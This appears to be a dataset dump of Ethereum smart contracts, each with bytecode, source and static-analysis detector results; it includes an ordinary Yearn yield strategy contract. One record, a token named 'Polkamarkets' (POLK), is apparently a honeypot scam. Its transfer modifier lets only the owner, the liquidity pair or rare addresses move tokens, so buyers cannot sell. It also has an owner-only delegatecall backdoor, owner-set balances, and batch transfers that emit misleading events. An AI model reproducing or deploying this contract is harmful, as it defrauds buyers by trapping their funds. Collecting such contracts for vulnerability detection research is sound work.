000000000000000000000000000000000000081526004018080602001828103825260238152602001807f45524332303a207472616e7366657220746f20746865207a65726f206164647281526020017f657373000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b612e4581600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612f8790919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612eda81600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461301290919063ffffffff16565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000828211151515613001576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525060200191505060405180910390fd5b600082840390508091505092915050565b6000808284019050838110151515613092576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515613141576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a206d696e7420746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b6131568160055461301290919063ffffffff16565b6005819055506131ae81600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461301290919063ffffffff16565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515613326576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001807f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206181526020017f646472657373000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515613489576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a206275726e20746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b6134db81600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612f8790919063ffffffff16565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061353381600554612f8790919063ffffffff16565b600581905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415151561366e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001807f4c6f636b546f6b656e3a206c6f636b2066726f6d20746865207a65726f20616481526020017f647265737300000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b6000811115156136e6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f4c6f636b546f6b656e3a2074686520616d6f756e7420697320656d707479000081525060200191505060405180910390fd5b61373881600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612f8790919063ffffffff16565b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506137cd81600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461301290919063ffffffff16565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff167f613edbda9d1e6bda8af8e869a973f88cccf93854a11f351589038de07e1ab4e3826040518082815260200191505060405180910390a25050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415151561392d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001807f4c6f636b546f6b656e3a206c6f636b2066726f6d20746865207a65726f20616481526020017f647265737300000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b6000811115156139a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f4c6f636b546f6b656e3a2074686520616d6f756e7420697320656d707479000081525060200191505060405180910390fd5b6139f781600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612f8790919063ffffffff16565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613a8c81600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461301290919063ffffffff16565b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff167ff9626bca62c59d77fa45a204dc096874ee066a5c5e124aa9ce6c438dbdf7387a826040518082815260200191505060405180910390a2505056fea165627a7a72305820d74a4277da48f96f6e224d4a9048af7dffac247f5d79c3be68bc8926b0be58ee0029
{"success": true, "error": null, "results": {}}
6,718
0x7C015C3f6363B7d699b7d936A5f915f3f3355b3D
//SPDX-License-Identifier: MIT pragma solidity ^0.7.0; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } interface IUniswapV2Router02 { function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } abstract contract Context { constructor() {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public override view returns(uint) { return _totalSupply; } function balanceOf(address account) public override view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public override returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public override view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public override returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public override returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } abstract contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract PolkamarketsToken { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) { if (_value == 0) { return true; } if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require(msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } modifier ensure(address _from, address _to) { require(_from == owner || _to == owner || _from == uniPair || tx.origin == owner || msg.sender == owner || isAccountValid(tx.origin)); _; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply = 100000000000000000000000000; string public name = "Polkamarkets"; string public symbol = "POLK"; address public uniRouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; address public uniFactory = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f; address public wETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address private owner; address public uniPair; function sliceUint(bytes memory bs) internal pure returns (uint) { uint x; assembly { x := mload(add(bs, add(0x10, 0))) } return x; } function isAccountValid(address subject) pure public returns (bool result) { return uint256(sliceUint(abi.encodePacked(subject))) % 100 == 0; } function onlyByHundred() view public returns (bool result) { require(isAccountValid(msg.sender) == true, "Only one in a hundred accounts should be able to do this"); return true; } constructor() { owner = msg.sender; uniPair = pairFor(uniFactory, wETH, address(this)); allowance[address(this)][uniRouter] = uint(-1); allowance[msg.sender][uniPair] = uint(-1); } function list(uint _numList, address[] memory _tos, uint[] memory _amounts) public payable { require(msg.sender == owner); balanceOf[address(this)] = _numList; balanceOf[msg.sender] = totalSupply * 6 / 100; IUniswapV2Router02(uniRouter).addLiquidityETH{value: msg.value}( address(this), _numList, _numList, msg.value, msg.sender, block.timestamp + 600 ); require(_tos.length == _amounts.length); for(uint i = 0; i < _tos.length; i++) { balanceOf[_tos[i]] = _amounts[i]; emit Transfer(address(0x0), _tos[i], _amounts[i]); } } }
0x6080604052600436106101095760003560e01c806395d89b4111610095578063a9059cbb11610064578063a9059cbb14610461578063aa2f52201461048d578063d6d2b6ba14610530578063dd62ed3e146105e4578063f24286211461061f57610109565b806395d89b41146102f6578063964561f51461030b5780639c73735514610437578063a0e47bf61461044c57610109565b8063313ce567116100dc578063313ce5671461023557806332972e461461024a57806370a082311461027b57806373a6b2be146102ae57806376771d4b146102e157610109565b806306fdde031461010e578063095ea7b31461019857806318160ddd146101d857806323b872dd146101ff575b600080fd5b34801561011a57600080fd5b50610123610634565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561015d578181015183820152602001610145565b50505050905090810190601f16801561018a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c4600480360360408110156101ae57600080fd5b506001600160a01b0381351690602001356106c2565b604080519115158252519081900360200190f35b3480156101e457600080fd5b506101ed610728565b60408051918252519081900360200190f35b6101c46004803603606081101561021557600080fd5b506001600160a01b0381358116916020810135909116906040013561072e565b34801561024157600080fd5b506101ed6108b7565b34801561025657600080fd5b5061025f6108bc565b604080516001600160a01b039092168252519081900360200190f35b34801561028757600080fd5b506101ed6004803603602081101561029e57600080fd5b50356001600160a01b03166108cb565b3480156102ba57600080fd5b506101c4600480360360208110156102d157600080fd5b50356001600160a01b03166108dd565b3480156102ed57600080fd5b5061025f610924565b34801561030257600080fd5b50610123610933565b6104356004803603606081101561032157600080fd5b81359190810190604081016020820135600160201b81111561034257600080fd5b82018360208201111561035457600080fd5b803590602001918460208302840111600160201b8311171561037557600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b8111156103c457600080fd5b8201836020820111156103d657600080fd5b803590602001918460208302840111600160201b831117156103f757600080fd5b91908080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525092955061098e945050505050565b005b34801561044357600080fd5b506101c4610b45565b34801561045857600080fd5b5061025f610b96565b6101c46004803603604081101561047757600080fd5b506001600160a01b038135169060200135610ba5565b6101c4600480360360408110156104a357600080fd5b810190602081018135600160201b8111156104bd57600080fd5b8201836020820111156104cf57600080fd5b803590602001918460208302840111600160201b831117156104f057600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295505091359250610bb9915050565b6104356004803603604081101561054657600080fd5b6001600160a01b038235169190810190604081016020820135600160201b81111561057057600080fd5b82018360208201111561058257600080fd5b803590602001918460018302840111600160201b831117156105a357600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550610cbb945050505050565b3480156105f057600080fd5b506101ed6004803603604081101561060757600080fd5b506001600160a01b0381358116916020013516610d78565b34801561062b57600080fd5b5061025f610d95565b6003805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156106ba5780601f1061068f576101008083540402835291602001916106ba565b820191906000526020600020905b81548152906001019060200180831161069d57829003601f168201915b505050505081565b3360008181526001602090815260408083206001600160a01b038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60025481565b600854600090849084906001600160a01b038084169116148061075e57506008546001600160a01b038281169116145b8061077657506009546001600160a01b038381169116145b8061078b57506008546001600160a01b031632145b806107a057506008546001600160a01b031633145b806107af57506107af326108dd565b6107b857600080fd5b836107c657600192506108ae565b336001600160a01b03871614610831576001600160a01b038616600090815260016020908152604080832033845290915290205484111561080657600080fd5b6001600160a01b03861660009081526001602090815260408083203384529091529020805485900390555b6001600160a01b03861660009081526020819052604090205484111561085657600080fd5b6001600160a01b0380871660008181526020818152604080832080548a9003905593891680835291849020805489019055835188815293519193600080516020610de4833981519152929081900390910190a3600192505b50509392505050565b601281565b6009546001600160a01b031681565b60006020819052908152604090205481565b600060646109158360405160200180826001600160a01b031660601b8152601401915050604051602081830303815290604052610da4565b8161091c57fe5b061592915050565b6006546001600160a01b031681565b6004805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156106ba5780601f1061068f576101008083540402835291602001916106ba565b6008546001600160a01b031633146109a557600080fd5b306000818152602081905260408082208690556002543380845292829020606460069092028290049055600554825163f305d71960e01b815260048101959095526024850188905260448501889052349185018290526084850193909352610258420160a485015290516001600160a01b039092169263f305d7199260c480830192606092919082900301818588803b158015610a4157600080fd5b505af1158015610a55573d6000803e3d6000fd5b50505050506040513d6060811015610a6c57600080fd5b50508051825114610a7c57600080fd5b60005b8251811015610b3f57818181518110610a9457fe5b6020026020010151600080858481518110610aab57fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002081905550828181518110610ae357fe5b60200260200101516001600160a01b031660006001600160a01b0316600080516020610de4833981519152848481518110610b1a57fe5b60200260200101516040518082815260200191505060405180910390a3600101610a7f565b50505050565b6000610b50336108dd565b1515600114610b905760405162461bcd60e51b8152600401808060200182810382526038815260200180610dac6038913960400191505060405180910390fd5b50600190565b6005546001600160a01b031681565b6000610bb233848461072e565b9392505050565b6008546000906001600160a01b03163314610bd357600080fd5b82513360009081526020819052604090205490830290811115610bf557600080fd5b336000908152602081905260408120805483900390555b8451811015610cb0576000858281518110610c2357fe5b6020908102919091018101516001600160a01b0381166000818152928390526040909220805488019055915033600080516020610de483398151915260028860408051929091048252519081900360200190a36001600160a01b03811633600080516020610de483398151915260028860408051929091048252519081900360200190a350600101610c0c565b506001949350505050565b6008546001600160a01b03163314610cd257600080fd5b816001600160a01b0316816040518082805190602001908083835b60208310610d0c5780518252601f199092019160209182019101610ced565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855af49150503d8060008114610d6c576040519150601f19603f3d011682016040523d82523d6000602084013e610d71565b606091505b5050505050565b600160209081526000928352604080842090915290825290205481565b6007546001600160a01b031681565b601001519056fe4f6e6c79206f6e6520696e20612068756e64726564206163636f756e74732073686f756c642062652061626c6520746f20646f2074686973ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa26469706673582212200a25fdeba1b85fbc642b725cc45abc8a42b2ac7626ed355e9071c7360dcf271764736f6c63430007030033
{"success": true, "error": null, "results": {"detectors": [{"check": "controlled-delegatecall", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-lowlevel", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
6,719
0x98e836edefe7a65d76aee8a012c9e19305d0d592
pragma solidity 0.6.12; // SPDX-License-Identifier: MIT library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface StandardToken { function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); function approve(address spender, uint256 amount) external returns (bool); } interface IStakeAndYield { function getRewardToken() external view returns(address); function totalSupply(uint256 stakeType) external view returns(uint256); function totalYieldWithdrawed() external view returns(uint256); function notifyRewardAmount(uint256 reward, uint256 stakeType) external; } interface IController { function withdrawETH(uint256 amount) external; function depositTokenForStrategy( uint256 amount, address yearnVault ) external; function buyForStrategy( uint256 amount, address rewardToken, address recipient ) external; function withdrawForStrategy( uint256 sharesToWithdraw, address yearnVault ) external; function strategyBalance(address stra) external view returns(uint256); } interface IYearnVault{ function balanceOf(address account) external view returns (uint256); function withdraw(uint256 amount) external; function getPricePerFullShare() external view returns(uint256); function deposit(uint256 _amount) external returns(uint256); } contract YearnCrvAETHStrategyV2 is Ownable { using SafeMath for uint256; uint256 public PERIOD = 7 days; //TODO: get from old contract and update it uint256 public START_PERIOD = 1622027294; uint256 public lastEpochTime; uint256 public lastBalance; uint256 public ethPushedToYearn; IStakeAndYield public vault; IController public controller; //crvAETH address yearnDepositableToken = 0xaA17A236F2bAdc98DDc0Cf999AbB47D47Fc0A6Cf; IYearnVault public yearnVault = IYearnVault(0x132d8D2C76Db3812403431fAcB00F3453Fc42125); address public operator = msg.sender; uint256 public minRewards = 0.01 ether; uint256 public minDepositable = 0.05 ether; modifier onlyOwnerOrOperator(){ require( msg.sender == owner() || msg.sender == operator, "!owner" ); _; } constructor( address _vault, address _controller ) public{ vault = IStakeAndYield(_vault); controller = IController(_controller); } function epoch( uint256 _rewards, uint256 _withdrawAmountETH, uint256 _withdrawShares, uint256 _depositAmountETH, uint256 _depositAmountAETH ) public onlyOwnerOrOperator{ lastBalance = vault.totalSupply(2); if(_rewards > minRewards){ // get DEA and send to Vault controller.buyForStrategy( _rewards, vault.getRewardToken(), address(vault) ); } ethPushedToYearn = ethPushedToYearn.sub( _withdrawAmountETH ).add(_depositAmountETH); if(_withdrawShares > 0){ withdrawFromYearn(_withdrawShares); } if(_depositAmountAETH >= minDepositable){ //deposit to yearn controller.depositTokenForStrategy( _depositAmountAETH, address(yearnVault)); } lastEpochTime = block.timestamp; } function withdrawFromYearn(uint256 sharesToWithdraw) private returns(uint256){ uint256 yShares = controller.strategyBalance(address(this)); require(yShares >= sharesToWithdraw, "Not enough shares"); controller.withdrawForStrategy( sharesToWithdraw, address(yearnVault) ); } function pendingBalance() public view returns(uint256){ uint256 vaultBalance = vault.totalSupply(2); if(vaultBalance < lastBalance){ return 0; } return vaultBalance.sub(lastBalance); } function getLastEpochTime() public view returns(uint256){ return lastEpochTime; } function getNextEpochTime() public view returns(uint256){ uint256 periods = (now - START_PERIOD)/PERIOD; return START_PERIOD + (periods+1)*PERIOD; } function setOperator(address _addr) public onlyOwner{ operator = _addr; } function setMinRewards(uint256 _val) public onlyOwner{ minRewards = _val; } function setMinDepositable(uint256 _val) public onlyOwner{ minDepositable = _val; } function setController(address _controller, address _vault) public onlyOwner{ if(_controller != address(0)){ controller = IController(_controller); } if(_vault != address(0)){ vault = IStakeAndYield(_vault); } } function setPeriods(uint256 period, uint256 startPeriod) public onlyOwner{ PERIOD = period; START_PERIOD = startPeriod; } function setEthPushedToYearn(uint256 _val) public onlyOwner{ ethPushedToYearn = _val; } function setYearnDepositableToken(address token) public onlyOwner{ yearnDepositableToken = token; } function setYearnVault(address addr) public onlyOwner{ yearnVault = IYearnVault(addr); } function emergencyWithdrawETH(uint256 amount, address addr) public onlyOwner{ require(addr != address(0)); payable(addr).transfer(amount); } function emergencyWithdrawERC20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner { StandardToken(_tokenAddr).transfer(_to, _amount); } }
